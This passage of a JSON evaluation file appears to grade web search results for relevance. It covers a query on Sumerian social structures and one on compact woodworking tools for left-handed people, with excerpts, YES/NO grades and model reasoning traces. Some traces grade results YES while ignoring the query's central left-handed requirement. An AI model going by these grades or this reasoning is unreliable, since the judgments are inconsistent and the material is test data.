                "model_trace": "Query Decomposition:\n1. {recent archaeological discoveries}: This document does not mention recent archaeological discoveries -> ([0], UNSATISFIED)\n2. {changed our understanding of Sumerian social structures}: This document discusses Sumerian inventions and their impact on civilization, but does not specifically address changes in our understanding of Sumerian social structures -> ([1], UNSATISFIED)\n3. {interest in ancient Mesopotamia}: This document is about ancient Mesopotamia and Sumerians -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {changed our understanding of Sumerian social structures} and {interest in ancient Mesopotamia}. Since the document does not satisfy the subcomponent about changes in our understanding of Sumerian social structures, it is not helpful for the user's specific query. NO."
            },
            {
                "grade": "NO",
                "title": "Sumer - Ancient, Map & Civilization",
                "url": "https://www.history.com/topics/ancient-middle-east/sumer",
                "published_date": null,
                "text": "Sumerian Civilization Sumer was first settled by humans from 4500 to 4000 B.C., though it is probable that some settlers arrived much earlier. This early population\u2014known as the Ubaid people\u2014was notable for strides in the development of civilization such as farming and raising cattle, weaving textiles, working with carpentry and pottery and even enjoying beer. Villages and towns were built around Ubaid farming communities. The people known as Sumerians were in control of the area by 3000 B.C. Their culture was comprised of a group of city-states, including Eridu, Nippur, Lagash, Kish, Ur and the very first true city, Uruk. At its peak around 2800 BC, the city had a population between 40,000 and 80,000 people living between its six miles of defensive walls, making it a contender for the largest city in the world. Each city-state of Sumer was surrounded by a wall, with villages settled just outside and distinguished by the worship of local deities. Sumerian Language and Literature The Sumerian language is the oldest linguistic record. It first appeared in archaeological records around 3100 B.C. and dominated Mesopotamia for the next thousand years. It was mostly replaced by Akkadian around 2000 B.C. but held on as a written language in cuneiform for another 2,000 years. Cuneiform, which is used in pictographic tablets, appeared as far back as 4000 B.C., but was later adapted into Akkadian, and expanded even further outside of Mesopotamia beginning in 3000 B.C. Writing remains one of the most important cultural achievements of the Sumerians, allowing for meticulous record keeping from rulers down to farmers and ranchers. The oldest written laws date back to 2400 B.C. in the city of Ebla, where the Code of Er-Nammu was written on tablets. The Sumerians were considered to have a rich body of literary works, though only fragments of these documents exist. Sumerian Art and Architecture Architecture on a grand scale is generally credited to have begun under the Sumerians, with religious structures dating back to 3400 B.C",
                "model_trace": "Query Decomposition:\n1. {interest in ancient Mesopotamia}: The document is about Sumerian civilization, which is part of ancient Mesopotamia -> ([1], SATISFIED)\n2. {recent archaeological discoveries}: The document does not mention any recent archaeological discoveries -> ([0], UNSATISFIED)\n3. {changed understanding of Sumerian social structures}: The document provides historical information about Sumerian civilization, but does not discuss recent changes in understanding of their social structures -> ([0], UNSATISFIED)\n\nAssessment: The document satisfies the user's interest in ancient Mesopotamia but fails to address recent archaeological discoveries or changes in understanding of Sumerian social structures. Therefore, it is not helpful for the user's specific query. NO."
            },
            {
                "grade": "NO",
                "title": "Mesopotamian Inventions",
                "url": "https://www.worldhistory.org/article/1859/mesopotamian-inventions/",
                "published_date": null,
                "text": "Mesopotamian inventions include many items taken for granted today, most of which were created during the Early Dynastic Period (2900-2334 BCE) or developed from achievements of the Uruk Period (4100-2900 BCE). The Sumerians are credited with the earliest inventions, which were further developed in the Akkadian Period (2334-2218 BCE) and then by later Mesopotamian civilizations.\n \n Cylinder Seal with a King Pouring an Offering to Shamash Osama Shukir Muhammed Amin (Copyright) \nAmong the many inventions of the Mesopotamians were:\nThe wheel\nMass-produced ceramics\nMathematics\nTime\n Writing \nCylinder seals and envelopes\nMass-produced bricks\n Cities \nThe map\nThe sail\nThese ten represent only a small fraction of the technological, cultural, and scientific advancements pioneered in ancient Mesopotamia. Scholar Samuel Noah Kramer lists 39 'firsts' that appeared in ancient Sumer, were developed by later cultures, and are more or less familiar to people in the present day:\nThe First Schools\nThe First Case of 'Apple Polishing'\nThe First Case of Juvenile Delinquency\nThe First 'War of Nerves'\nThe First Bicameral Congress\nThe First Historian\nThe First Case of Tax Reduction\nThe First 'Moses'\nThe First Legal Precedent\nThe First Pharmacopoeia\nThe First 'Farmer's Almanac'\nThe First Experiment in Shade-Tree Gardening\nMan's First Cosmogony and Cosmology\nThe First Moral Ideals\nThe First 'Job'\nThe First Proverbs and Sayings\nThe First Animal Fables\nThe First Literary Debates\nThe First Biblical Parallels\nThe First 'Noah'\nThe First Tale of Resurrection\nThe First 'St. George'\nThe First Case of Literary Borrowing\nMan's First Heroic Age\nThe First Love Song\nThe First Library Catalogue\nMan's First Golden Age\nThe First 'Sick' Society\nThe First Liturgic Laments\nThe First Messiahs\nThe First Long-Distance Champion\nThe First Literary Imagery\nThe First Sex Symbolism\nThe First Mater Dolorosa\nThe First Lullaby\nThe First Literary Portrait\nThe First Elegies\nLabor's First Victory\nThe First Aquarium (History Begins at Sumer, Contents)\nThese 39, developed",
                "model_trace": "Query Decomposition:\n1. [Recent archaeological discoveries]: The document does not mention any recent archaeological discoveries -> ([0], UNSURE)\n2. [Changed understanding of Sumerian social structures]: The document discusses various Mesopotamian inventions and achievements but does not focus on social structures or recent discoveries that have changed our understanding of them -> ([0], UNSATISFIED)\n\nAssessment: The document does not provide information on recent archaeological discoveries or changes in understanding of Sumerian social structures. NO."
            }
        ]
    },
    {
        "query": "As a left-handed amateur woodworker living in a small apartment, what are some space-efficient tools and projects specifically designed for southpaws?",
        "grid_pos": [
            3,
            9
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Fact/Trivia/Knowledge",
        "reasoning_trace": [
            "These queries are personalized, challenging, and require specific knowledge to answer effectively. They combine personal information with niche interests, making them ideal for testing Exa's ability to understand context and provide relevant, high-quality results. The queries span diverse topics including outdoor activities, music, science, history, and crafts, while also incorporating personal factors like age, physical condition, dietary preferences, and living situations."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "How To Set Up A Fully Equipped Small Woodworking Workshop For Under $1000",
                "url": "https://ultimatesmallshop.com/",
                "published_date": "2018-07-01",
                "text": "Attention: Woodworkers with limited funds and small spaces.... Introducing: The ULTIMATE \u201c$1000 SMALL SHOP\u201d A complete guide to building a complete wood shop for under $1,000... including a shopping list of the best tools and exact links to buy those tools for the lowest price\u2026 along with floor-plans for creating optimized layouts in spaces as small as 8'x8'! Warning: Even Amazon, Lowe's and Home Depot won\u2019t give you the best price on quality tools like you think they do! But my secret tool source can save you at least 70% off their prices. (HINT: It\u2019s not Harbor Freight) Dear fellow woodworker, I\u2019ve created this page for people who have these questions running through their mind: How much money do I really need to setup a woodworking workshop? Is my space too small for a functional workshop? What are the bare minimum tools I need to create basic wood projects? How do I avoid bad quality tools that will just crap out on me in the first year? How good is good enough? Do I need to go ultra-high end to ensure a long-lasting tool? What are the critical factors to setup a proper workshop? How much money do I really need to setup a woodworking workshop? After 20 years of woodworking and coaching other\u2026 I\u2019ve seen enough to know: These questions are the biggest roadblocks woodworkers face today... Ralph Chapman - The \"Small Shop\" Expert In fact, it\u2019s so bad that I must apologize it has taken me this long to reveal my answers to all of these questions! Hi. My name is Ralph Chapman and I've been in love with woodworking for more than 25 years. And like you, I\u2019ve struggled with buying tools, setting up my workshop and practicing my craft. But I have to tell you\u2026 All of that frustration, planning and hard-work has paid off! I finally have things setup just right\u2026 and I love this hobby even more than I did when I started many moons ago. All the optimizations I\u2019ve done\u2026 the little habits I\u2019ve picked up\u2026 and the countless techniques, tools and layouts I\u2019ve tried\u2026 all of that has come together to make this hobby exactly what I k",
                "model_trace": "Query Decomposition:\n1. {space-efficient tools}: The document discusses setting up a small woodworking workshop, which implies space-efficient tools -> ([1], SATISFIED)\n2. {projects specifically designed for southpaws}: The document does not mention anything about projects or tools specifically designed for left-handed individuals -> ([0], UNSURE)\n3. {amateur woodworker}: The document is targeted at woodworkers, including those with limited funds and small spaces, which could imply beginners -> ([2], SATISFIED)\n4. {living in a small apartment}: The document focuses on small spaces, which is relevant for someone living in a small apartment -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {space-efficient tools}, {amateur woodworker}, and {living in a small apartment}. All these subcomponents are satisfied by the document. The subcomponent {projects specifically designed for southpaws} is tagged [0] and does not affect the evaluation.\n\nYES"
            },
            {
                "grade": "NO",
                "title": "Join Us On:",
                "url": "https://www.woodworkweb.com/woodworking-videos-1/general-woodworking-videos/759-woodworking-with-hand-or-arm-disabilities.html",
                "published_date": null,
                "text": "I am surprised how many emails and notes I get from people who have had or arm disabilities, asking me for suggestions on how they can hold their tools easier. The people I hear from have everything possible you can imagine from arthritis and joint pain in hands and arms, others like me have carpal tunnel conditions in their wrist, some have injuries from work or home incidents that may be temporary or permanent, sports injuries ... the list goes on. Some of these I can help, others I cannot, but it always amazes me what innovative ideas others come up with to help them hold their tools more comfortably and safely.\n\nWatch it on Youtube: https://youtu.be/opvz7vIHyM8 \nOf course, there are many, many solutions, often easy ones like raising or lowering work surfaces like work benches, or even having small portable platforms to give yourself some extra height, sometimes something as small as 2 or 3 inches can make a huge difference.\n\nMany of you who are following my channel will know that one of my \"go to\" products is that anti-skid material that is sold in many locations, even dollar stores, and it comes in a variety of weights from thin to thick, cuts easily with scissors and can be used for myriad of uses, and is most useful for adding BULK to tool handles and grips so that when you grip something you don't have to have full flexibility and being anti skid material, it really grips well so it also becomes a safety asset. Anti-Skid Materials\n\nTo add to the use of this material, I discovered a kind of elastic tape that adheres to it'self. It's not sticky and it's not Velcro but it seems to have some similar properties to Velcro in that you can wrap it tightly around something and it holds it on .. then you can take it off and re-use it. I don't know how long you can re-use it, but my strip is months old but I suspect dust and dirt will eventually require cutting a new strip. This tape is not cheap but for some circumstances, it's a perfect solution.\n\nAnd speaking of adding bulk to handles, there are many options for ",
                "model_trace": "Query Decomposition:\n1. {space-efficient tools for woodworking}: The document discusses various tools and materials that can help people with hand or arm disabilities hold their tools more comfortably, but it does not specifically address space efficiency -> ([1], UNSATISFIED)\n2. {projects for woodworking}: The document does not mention specific woodworking projects -> ([0], UNSURE)\n3. {specifically designed for left-handed individuals}: The document does not mention left-handed individuals or tools specifically designed for them -> ([0], UNSURE)\n4. {living in a small apartment}: The document does not address living in a small apartment or space constraints -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {space-efficient tools for woodworking}, which is not satisfied. The document does not provide information specifically tailored to left-handed woodworkers or small apartment living. NO."
            },
            {
                "grade": "NO",
                "title": "Woodware Picture Gallery",
                "url": "https://woodwaredesigns.com/picgal.html",
                "published_date": "2007-11-06",
                "text": "Chief cook and bottle washer\n(This file will take a couple minutes to load because of all the pictures.)\nQuick Index\n\nMajor Computer Desks\n\nMajor Desks \n Many, many Armoires \n Desks for People with Physical Challenges \n Special Use Desks\n\nFreebies\n\nFreebie Desks \n General Woodworking\n\nOther Projects\n\nHandmade Paper Equipment \n Home-Build Shop furniture \n Astronomical Freebies \n Solar Energy Demonstration \n Signs\n\nComputer Desks\n\nMajor Desks\n\nArts and Crafts Computer Desk by Mark Newsom of Ontario, Canada for his daughter Heather Newsom.\n\nArts and Crafts Sideboard, a long desk by Tom Riley of Maryland\n\nRoll-top Desk in oak by Lavern Anderson\n\nRoll-top Desk by Jim Miller from Massachusetts\n\nHutch Desk for a Tower Computer, in birch by Bob and Joan Wilhelm\n\nHutch Desk in Red Elm with customer modifications. It supports two lap tops, an extra keyboard, and two printers\n\nMission Computer Desk built in oak in Texas\n\nArmoires\n\nLots and Lots of Armoires\n\nPocket Door Armoire by David Verkerk of British Colombia in Canada\n\nPocket Door Armoire by Michael Jones of Minnesota\n\nTall Armoire with pocket doors done in ceder and including a TV set by Mike Clements in Maryland.\n\nPie Safe Computer Desk by Amy Skvarka and Boyd Welker, a father/daughter team living in Pennsylvania.\n\nWardrobe with Pocket Doors by Frank Gingrich of Virginia\n\nTall Armoire by Jaime Dunton of Canada\n\nDesks for People with Physical Challenges\n\nChair Desk with swing out computer tray, by Tom Riley of Baltimore\n\nIn-Bed Computer Desk for use with laptop and stick\n\nModern Corner Desk by Tom Riley of Maryland\n\nIn-Bed Computer Desk by Tom Riley of Maryland\n\nEasy Reach Computer Desk by Tom Riley of Maryland\n\nSpecial Use Desks\n\nTinker Toy Desk by Tom Riley of Maryland\n\nAudio Studio Desk with racks by Frenzdog for his son\n\nFirst Extreme Programming Pair Desk by Tom Riley of Maryland\n\nFreebies\n\nFreebies Computer Desks\n\nTyping Stand Computer Desk by Tom Riley of Maryland\n\nRebuild Desk by Tom Riley of Maryland\n\nDoor desk customized with simple legs and a large bookcase",
                "model_trace": "Query Decomposition:\n1. [Space-efficient tools for woodworking]: This document does not mention any woodworking tools, space-efficient or otherwise -> ([0], UNSATISFIED)\n2. [Woodworking projects for small apartments]: The document lists various types of desks and armoires, which could be relevant for small spaces, but it is not explicitly focused on small apartment woodworking projects -> ([2], UNSURE)\n3. [Projects specifically designed for left-handed people]: There is no mention of projects specifically designed for left-handed people -> ([0], UNSATISFIED)\n\nAssessment: The document does not clearly satisfy any of the relevant subcomponents for the query, particularly the focus on left-handed users and space-efficient tools. Therefore, it is not helpful for the user's specific needs. NO."
            },
            {
                "grade": "NO",
                "title": "Hand Tool Projects for the Beginner",
                "url": "https://www.renaissancewoodworker.com/hand-tool-projects-for-the-beginner/",
                "published_date": null,
                "text": "Its Get Woodworking Week and time to think about the things that encourage others to get started with woodworking. I think working with hand tools can be a great place and a terrible place to start. To walk this fine line and land on the happy side of it, one needs to be VERY specific about what they are building and have a clear plan in mind before you pick up a tool or cut any wood. One probably also needs to turn off the Internet and just dive in.\n So stop reading this now and go get busy\u2026 \n\u2026well maybe finish reading this then get started. I warn you this is a long post.\nThe Bad Side of Hand Tools\nLet\u2019s look at the bad first. Hand tools are ambiguous at best. They require a lot more sense memory to use and precision is a very relative term and sometimes an unnecessary element to consider. Hand tools beget hand tools. While at face value one may think a smaller tool kit is needed you can very quickly amass a collection of \u201cgotta have\u201d tools just to complete a simple project. Yet without some time in the trenches planing and sawing the new woodworker can quickly get frustrated when his or her tools don\u2019t function like the ones that guy on the Internet uses. (another reason to turn it off for now)\nThe frustration starts an ugly spiral that can lead to buyers remorse at best and total abandonment of the craft at worst. I firmly believe that hand tool work doesn\u2019t have to be hard and it is shocking how quickly a new skill can be learned. But there is always a learning curve and the anxious beginner can sometimes forget this and become disillusioned when their first or second attempt is a failure. On the converse, the power tool user can and should expect perfectly straight and square cuts from their machines on a first try and 300th try. The human machine variable is often overlooked and we expect our shiny new (and expensive) tools will compensate for this variable. Not true. A finely tuned back saw will make things easier but fundamental sawing skills are still needed. \n  To succeed, the beginner must be realisti",
                "model_trace": "Query Decomposition:\n1. [space-efficient tools]: The document discusses hand tools but does not specifically address space efficiency -> ([1], UNSATISFIED)\n2. [projects for left-handed woodworkers]: The document does not mention anything about projects specifically designed for left-handed individuals -> ([0], UNSURE)\n3. [amateur woodworker]: The document is targeted at beginner woodworkers, so this subcomponent is met -> ([1], SATISFIED)\n4. [living in a small apartment]: The document does not address woodworking in small spaces -> ([0], UNSURE)\n5. [tools designed for southpaws]: The document does not mention tools specifically designed for left-handed users -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are [space-efficient tools] and [amateur woodworker]. Since [space-efficient tools] is UNSATISFIED, the document does not meet the user's needs. NO."
            },
            {
                "grade": "YES",
                "title": "Minimum Space Needed for Hand Tool Woodworking",
                "url": "https://brfinewoodworking.com/minimum-space-needed-for-hand-tool-woodworking/",
                "published_date": null,
                "text": "Most of us in the US are blessed in that finding space to put a small workshop is not typically a difficult proposition. Houses here usually have at least a one car garage and/or a basement, and as a result, most woodworkers in the US put their workshop in one of these spaces. Even for home owners or home renters that don\u2019t have one of these spaces, garden sheds are very common here as well, and also can make a good work space. For the most part, in the US, if you can\u2019t find room to put a small workshop, it\u2019s probably because you have too much crap.\nBut not everyone has an over abundance of extra space. City dwellers, apartment renters and folks who live outside the US often have to deal with a serious lack of space. Living in one of these places can pose challenges if one desires to set up a woodworking area. Mobile and multi-purpose workshops are common in these cases. Many folks will work outside or in a shared space when possible, choosing to store their tools out of sight in a closet or out of the way corner when not in use. Still others may choose to hide the workshop in plain sight by using the workbench as a dining table (or vise versa) and the tool chest as a coffee table.\u00a0Whatever the solution, if the will is strong enough, there is a way to accommodate.\n   In my previous 90 sq. ft. workshop, I easily fit an 8\u2032 long workbench, all the tools I needed, a small amount of lumber storage, a lathe and some cabinetry. \nBut how much space is really required? Even if you use one of these mobile options, you still need some space to roll everything into to work. My old shop in NJ was a small spare room that measured about 7\u2032 x 13\u2032 (about half of the square footage of a typical one car garage) and it was more than enough space for me to work in using hand tools. So how small of a space can you really work with?\nOf course it all depends upon what you want to make. If all you do is make small boxes, for example, you can really work in a space that\u2019s no bigger than would be required for a small workbench, your tools,",
                "model_trace": "Query Decomposition:\n1. {space-efficient tools for woodworking}: The document discusses space-efficient setups and tools for woodworking in small spaces -> ([1], SATISFIED)\n2. {projects for woodworking}: The document does not specifically mention projects -> ([0], UNSURE)\n3. {specifically designed for left-handed individuals}: The document does not mention tools or projects specifically designed for left-handed individuals -> ([0], UNSURE)\n4. {woodworking in small apartments}: The document discusses woodworking in small spaces, including apartments -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponents related to space-efficient tools and woodworking in small apartments. However, it does not address left-handed specific tools or projects. Since the relevant subcomponents are {space-efficient tools for woodworking} and {woodworking in small apartments}, and both are satisfied, the document is helpful to some extent. YES."
            },
            {
                "grade": "YES",
                "title": "What is the best way to get started with limited funds and ...",
                "url": "https://woodworking.stackexchange.com/questions/1102/what-is-the-best-way-to-get-started-with-limited-funds-and-space",
                "published_date": null,
                "text": "I agree with the comments above that this question is a little too broad, but \"college student's budget\" and \"limited space\" give at least a starting point and I can offer a few pointers based on that.\nNot only for budget reasons you're looking at primarily a hand-tool approach. \nIn addition to the cost of power tools working with hand tools is quieter (so people who share a floor or walls with your room won't be disturbed by loud motors late at night) and will generate less dust. Hand-tool processes tend to generate flakes and shavings and little dust (which is also coarser), much easier to clean up than large volumes of fine dust as generated by power sanding for example. Fine dusts are also more of a health hazard if you're working in or adjacent to where you sleep.\nYou need a good solid surface to work on. There are a couple of simple approaches adopted for this for those without a dedicated working space, one being modification of an existing piece of furniture (e.g. a stout kitchen table) with a lift-on/lift-off woodworking surface. The second is by building a smaller knock-down woodworking bench which can either fold flat to be stored leaning against a wall, or break down into pieces which can then be slid under the bed, behind the sofa etc.\nTwo examples of the first approach are given in the following images: \n \nSource: Woodwork magazine.\n \nSource: LostArt Press.\nAnd a good example of the second is this, the Apartment Workbench:\n \nSource: Close Grain blog. Full build instructions and parts list at this link.\nSome discussion on the requirements of the casual woodworker can also be found in a classic book on woodworking which is available free on Project Gutenberg: Woodworking for Beginners, by Charles G. Wheeler. This book is a wealth of information for the hand-tools-only approach to woodworking so well worth downloading to your hard drive to refer to as you like.\nNow to tools. There are a great many tools you can get but what is required is probably mostly driven by the nature of what you're making. The ",
                "model_trace": "Query Decomposition:\n1. {space-efficient tools for woodworking}: The document mentions hand tools and space-efficient work surfaces, which are relevant to woodworking in a small apartment -> ([1], SATISFIED)\n2. {projects specifically designed for small spaces}: The document discusses modifications and small knock-down workbenches, which are suitable for small spaces -> ([1], SATISFIED)\n3. {tools and projects specifically designed for left-handed (southpaws)}: The document does not mention anything about tools or projects specifically designed for left-handed individuals -> ([0], UNSATISFIED)\n\nAssessment: The document satisfies the subcomponents related to space-efficient tools and projects for small spaces but does not address the left-handed aspect. Since the critical subcomponent about left-handed tools and projects is tagged [0], it does not affect the evaluation. Therefore, the document is helpful for the user's query. YES."
            }
        ]
    }
]